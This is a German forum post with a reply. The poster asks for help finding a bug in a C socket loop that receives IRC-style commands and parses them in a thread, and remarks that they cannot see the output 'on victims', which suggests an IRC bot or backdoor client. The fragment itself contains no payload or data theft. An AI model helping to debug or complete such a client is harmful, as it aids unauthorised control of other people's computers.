Irgendwo in diesem Code muss ein Fehler sein...Code:for(;;) { err = 0; // WaitForSingleObject((HANDLE)x,300); //test if(b == NULL) { memset(puffer,0,sizeof(puffer)); CloseHandle((HANDLE)x); } else { while(1) if(b == NULL) break; CloseHandle((HANDLE)x); memset(puffer,0,sizeof(puffer)); } err = recv(socket,puffer,MAX-1,0); if((err == 0) || (err == SOCKET_ERROR)) { //printf("WSAGetLastError: %i\n",WSAGetLastError()); shutdown(socket,2); closesocket(socket); WSACleanup(); return 1; } else { puffer[err] = '\0'; b = calloc(strlen(puffer)+1,sizeof(char)); if(b != NULL) { strncpy(b,puffer,strlen(puffer)); cmd.msg = &b; x = _beginthreadex(NULL,0,split_cmd,&cmd,0,NULL); } } //split_cmd() unsigned __stdcall split_cmd(irc *cmd) { char *p,user[24],*buf; argv parameters; int err,socket; memset(¶meters,0,sizeof(argv)); buf = calloc(strlen(*cmd->msg)+1,sizeof(char)); if(buf == NULL) return 1; else memset(buf,0,sizeof(buf)); strncpy(buf,*cmd->msg,strlen(*cmd->msg)); free(*cmd->msg); *cmd->msg = NULL;
Bei Victims sehe ich die Ausgaben nicht...der einfach ein paar Debug-Ausgaben einfügen und schauen wo das Ding abstürzt.



Zitieren
